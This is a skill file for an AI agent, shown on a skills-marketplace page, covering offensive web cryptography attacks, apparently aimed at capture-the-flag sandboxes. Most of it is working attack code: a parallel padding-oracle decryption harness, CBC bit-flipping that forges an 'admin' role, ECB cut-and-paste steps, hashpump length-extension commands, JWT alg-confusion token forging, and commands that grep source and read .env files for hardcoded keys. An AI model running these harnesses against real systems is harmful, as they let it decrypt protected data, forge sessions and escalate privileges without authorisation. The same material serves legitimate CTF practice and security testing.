crypto

star 4.3k

Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.

PurpleAILAB By PurpleAILAB schedule Updated 6/2/2026

name: crypto description: "Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration." metadata: subdomain: web-exploitation mitre_attack: T1190 when_to_use: "padding oracle, Vaudenay, padding-oracle attack, CBC, AES-CBC, AES-ECB, ECB pattern, ECB block substitution, cut-and-paste, bit-flipping, IV manipulation, HMAC bypass, hash-length extension, length extension, MD5 length extension, SHA1 length extension, JWT alg confusion, JWT none, JWT alg=none, base64 cookie, encrypted cookie, encrypted token, captcha, encrypted captcha, crypto challenge, cipher"

Web Crypto Exploitation

Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: find the oracle, prove the oracle is real, then iterate within a hard request budget. Without the proven oracle the attack burns the cycle.

Step 0 — Key Discovery (Do Before ANY Network Attack)

Check if the application key is hardcoded in source. CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:

# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20

# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20

# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null

If the key is found, decrypt offline immediately — no oracle, no network requests:

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding

KEY = b'C' * 32  # replace with discovered key
cookie = "<base64-cookie-from-browser>"

raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)

Only proceed to the oracle-based attack below if no key is found in source.

Recognition Signals

Trigger this skill when ANY of the following are present:

  • Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES). Length boundaries are the giveaway: len(b64decode(token)) % 16 == 0 and not 32 or 48 → likely 1-2 blocks of CBC; % 16 == 0 with 32-64 bytes → IV+ciphertext pattern.
  • Distinct error responses for "invalid padding" vs "invalid auth/decryption". Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.
  • JWT in Authorization: Bearer <three-base64-segments-separated-by-dots>. Always inspect alg header (alg=none, alg=HS256 with public-key confusion, alg=RS256→HS256 substitution).
  • Repeated 16-byte ciphertext blocks within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.
  • Server returns separate encrypted blob + tag/HMAC concatenated — candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g. MD5(secret || message)).
  • Challenge tag includes crypto, cipher, oracle, captcha, encrypted_captcha, padding, hmac_bypass, jwt, length_extension.

Confirm-Oracle Gate

STOP — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.

Layout detection (run before the gate): Decode the token and determine the IV/CT layout. AES-CBC tokens always use IV(16) || CT(16 * N) — the first 16 bytes are always the IV. Confirm:

import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].

Also identify the correct cookie/parameter name. Check the response headers from a GET request to confirm the cookie name:

curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'

Use that exact cookie name (e.g. captcha, session, token) in every subsequent request.

timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-17] ^= 0x01
# Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding)
import os
random_ct = bytearray(os.urandom(len(ct)))

for label, payload in [("flip-pad", flipped), ("random", random_ct)]:
    b64 = base64.b64encode(bytes(payload)).decode()
    r = requests.get(URL, cookies={"token": b64}, timeout=5)
    sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n")
    sys.stdout.flush()
' 2>&1 | tee oracle_gate.txt

Pass criteria (any one):

  • Status code differs between flip-pad and random.
  • Body length differs by ≥1 byte (after stripping timestamps).
  • Response body string differs in the leading 200 chars (e.g. "Invalid padding" vs "Invalid token").
  • Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort).

If gate FAILS (no pass criterion met before the harness's outer timeout fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with "no padding oracle observable on <endpoint>; check other endpoints or token sinks".

If gate PASSES: continue with the targeted attack below. Capture the flip-pad and random responses as the oracle's "VALID-PAD" and "INVALID" templates.

Oracle predicate — generic formulation (critical):

The oracle has exactly TWO observable states: "padding valid" and "padding invalid." The INVALID state is the one consistent with fully-random ciphertext (your random probe above). Define your predicate as:

# KNOWN_BAD = (status_code, body_prefix) from the random probe
KNOWN_BAD = (r_random.status_code, r_random.text[:200])

def valid_pad(response):
    return (response.status_code, response.text[:200]) != KNOWN_BAD

Do NOT hardcode status == 403 or "Invalid padding" in text as your oracle check. Many Flask/Express apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These 500s ARE valid-pad signals — they differ from the random-ciphertext response, so valid_pad() returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded.

1. Padding Oracle (Vaudenay) — Full Walkthrough

Decrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid.

timeout 600 python3 -u -c '
import base64, concurrent.futures, requests, sys, os

URL = "http://<TARGET>/"          # adjust path/method to match the vulnerable endpoint
TOKEN = "<base64-blob>"           # base64 cookie value captured from recon
COOKIE_NAME = "captcha"          # use the EXACT cookie name from Set-Cookie header
BLOCK = 16
MAX_REQUESTS = 4096   # hard budget — abort if we hit it

# Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first.
# Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals.
ct = base64.b64decode(TOKEN)
assert len(ct) % BLOCK == 0
blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)]
session = requests.Session()
budget = [MAX_REQUESTS]

# Calibrate oracle: send fully-random ciphertext, record the response signature
_rand = os.urandom(len(ct))
_r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5)
KNOWN_BAD = (_r.status_code, _r.text[:200])
sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush()

def is_valid_pad(forged_iv, target_block):
    """Returns True if oracle says padding is valid (response differs from KNOWN_BAD)."""
    if budget[0] <= 0:
        raise RuntimeError("request budget exhausted")
    budget[0] -= 1
    blob = base64.b64encode(forged_iv + target_block).decode()
    r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5)
    return (r.status_code, r.text[:200]) != KNOWN_BAD

def crack_block(prev, target):
    """Recover plaintext of `target` by manipulating `prev`."""
    intermediate = bytearray(BLOCK)
    for byte_idx in range(BLOCK - 1, -1, -1):
        pad_value = BLOCK - byte_idx
        # Try every possible byte at byte_idx until oracle reports valid padding
        forged = bytearray(BLOCK)
        for k in range(byte_idx + 1, BLOCK):
            forged[k] = intermediate[k] ^ pad_value
        # Parallelize the 256-byte search (bounded workers)
        with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
            futures = {}
            for guess in range(256):
                f = bytearray(forged)
                f[byte_idx] = guess
                futures[ex.submit(is_valid_pad, bytes(f), target)] = guess
            for fut in concurrent.futures.as_completed(futures):
                if fut.result():
                    intermediate[byte_idx] = futures[fut] ^ pad_value
                    break
            else:
                raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}")
    plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK))
    return plaintext

recovered = b""
# block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev"
for i in range(1, len(blocks)):
    sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n")
    sys.stdout.flush()
    pt = crack_block(blocks[i-1], blocks[i])
    sys.stdout.write(f"block {i} plaintext: {pt!r}\n")
    sys.stdout.flush()
    recovered += pt

sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n")
' 2>&1 | tee padding_oracle.txt

Request budget per block: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push max_workers past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use).

First-block verification: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit:

  • Is the oracle predicate right? Print KNOWN_BAD and a few live responses — verify (status, body[:200]) != KNOWN_BAD fires on valid-pad cases.
  • Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop max_workers to 4 and rerun.
  • Is the budget exhausted before any block? Increase MAX_REQUESTS, or accept this server is too slow and switch to a non-oracle attack.

2. CBC Bit-Flipping

When the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage).

# Known plaintext at position i → desired plaintext at position i.
# Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i]
import base64
TOKEN = "<base64>"
ct = bytearray(base64.b64decode(TOKEN))
# E.g. flip "user=guest" → "user=admin" inside block 1, byte 5
KNOWN, DESIRED = b"guest", b"admin"
for i in range(min(len(KNOWN), len(DESIRED))):
    ct[i + 5] ^= KNOWN[i] ^ DESIRED[i]
print(base64.b64encode(bytes(ct)).decode())

Block N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp / nonce that's never read).

3. AES-ECB Attacks

Pattern detection

Two identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect:

import base64
ct = base64.b64decode("<TOKEN>")
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
print("blocks:", len(blocks), "unique:", len(set(blocks)))
# unique < total → ECB confirmed

Cut-and-paste

If the application encrypts <attacker-controlled prefix> | <user-data> | <suffix> under ECB and lets the attacker register/login multiple times, you can capture aligned blocks containing chosen plaintext (e.g. admin\x0b\x0b\x0b...) and splice them into another user's token.

# 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block.
# 2. Capture that ciphertext block.
# 3. Register a normal user. Capture their token.
# 4. Replace the block holding "user" with the block holding "admin".
# 5. Submit forged token.

Prefix/suffix recovery

If you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB:

  1. Find block size: vary prefix length, watch for first response-length jump of BLOCK_SIZE.
  2. Per byte: send "A"*(BLOCK_SIZE-1), capture block, then for each g in 0..255 send "A"*(BLOCK_SIZE-1) + g, compare blocks — match reveals the byte.
  3. Slide the prefix one byte left and repeat until the secret is exhausted.

4. HMAC / Signature Bypass

Hash-length extension

If the MAC is MD5(secret || message) or SHA1(secret || message) (no HMAC construction), and you know len(secret) + len(message) and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: hashpump or hash-length-attack (Python).

# hashpump: append "&admin=true" to a signed message
hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true"

JWT alg confusion

  • alg=none: strip signature, set header {"alg":"none","typ":"JWT"}, set payload, send <header>.<payload>. (empty signature). Many libraries accept it.
  • alg=HS256 w/ public-key confusion: server uses verify(token, public_key). Re-sign the token with HMAC-SHA256 keyed by the server's RSA public key (PEM bytes). Same library now mistakes "HS256" for "RS256" verification using the public key as the HMAC key.
  • alg=RS256→HS256 substitution: same as above — flip the alg header in the token.
import base64, hashlib, hmac, json
HEADER = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b"=")
PAYLOAD = base64.urlsafe_b64encode(json.dumps({"user":"admin"}).encode()).rstrip(b"=")
PUBKEY_PEM = open("server_public.pem","rb").read()
sig = hmac.new(PUBKEY_PEM, HEADER + b"." + PAYLOAD, hashlib.sha256).digest()
SIG = base64.urlsafe_b64encode(sig).rstrip(b"=")
print((HEADER + b"." + PAYLOAD + b"." + SIG).decode())

Anti-Patterns (Do NOT)

  • No unbounded loops in oracle harnesses. Always set MAX_REQUESTS and abort when it hits zero. A misconfigured oracle template can run forever otherwise.
  • No python3 detector.py > /tmp/log 2>&1 & + tail -f — if tmux pipe degrades the tail returns nothing forever and you cannot tell whether the script is alive. Prefer inline timeout 600 python3 -u -c '...' | tee log.txt.
  • No while True: r = requests.get(...). Wrap every loop with a max-iterations bound and break on success.
  • Do not iterate variants before the confirm-oracle gate fires positive. That single discipline rule eliminates the most common cycle burn on crypto challenges.
  • Always python3 -u for line-buffered stdout. Without it, you cannot tell live progress from a wedge.
  • Bounded max_workers on concurrent.futures.ThreadPoolExecutor. 16 is plenty for the 256-byte search; >32 triggers sandbox throttling and rate-limit WAF rules.
  • Set requests.Session() timeout=5 on EVERY call (not just the gate).
  • No mid-flight edits. If a harness is producing byte-by-byte progress output, let it finish. If you need a follow-up step (e.g. submit the recovered plaintext), write a SEPARATE script that reads the output and submits it. Never edit_file on a script that is currently producing results — the restart loses intermediate state, generates a new challenge session (new captcha/cookie), and invalidates everything already recovered.
  • Atomic pipeline. Probe → decrypt → submit must all use the SAME session cookie in ONE script invocation. Do not split these into separate runs. A new GET request generates a new encrypted captcha — the old recovered plaintext will not match.
  • Single-process discipline. The target is typically a single-threaded dev server (Flask/Express). Running multiple concurrent oracle scripts WILL crash it. Before launching the padding oracle harness, kill ALL other Python scripts hitting the target: pkill -f 'python3.*<port_or_target>' 2>/dev/null. One harness at a time.

Tooling Note

In sandbox: python3 (with requests, cryptography, pycryptodome), hashpump, openssl. NO padbuster.pl (Perl is not installed). Build padding-oracle attacks with the harness above, not a third-party CLI.

Verification

Crypto attacks are confirmed when:

  • Padding oracle: at least the FIRST plaintext block is recovered AND it is human-readable plaintext (cookie payload, session JSON, etc.). If block 1 returns garbage, the oracle template is wrong — KILL and re-derive.
  • CBC bit-flip: the forged token successfully impersonates the target role/user (e.g. /admin returns admin content) AND a baseline-unflipped token does NOT.
  • ECB cut-and-paste: the spliced token produces the privileged response on a fresh login (≥3 reproductions).
  • JWT alg confusion: the forged JWT is accepted on a privileged endpoint that rejects an unsigned/garbage JWT.
  • Hash-length extension: appended fields are honored by the server (e.g. admin=true flips role) AND the MAC validates without the secret.

Output Files

./
├── oracle_gate.txt                 # Confirm-oracle gate output (PASS/FAIL evidence)
├── padding_oracle.txt              # Vaudenay run log + recovered plaintext
├── ecb_blocks_<target>.txt         # ECB block analysis (uniqueness, repeats)
├── jwt_forged_<target>.txt         # Forged JWT + verification trace
└── crypto_<target>_summary.md      # What was tried, gate result, evidence trail
Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill crypto
Repository Details
star Stars 4,323
call_split Forks 860
navigation Branch main
article Path SKILL.md
More from Creator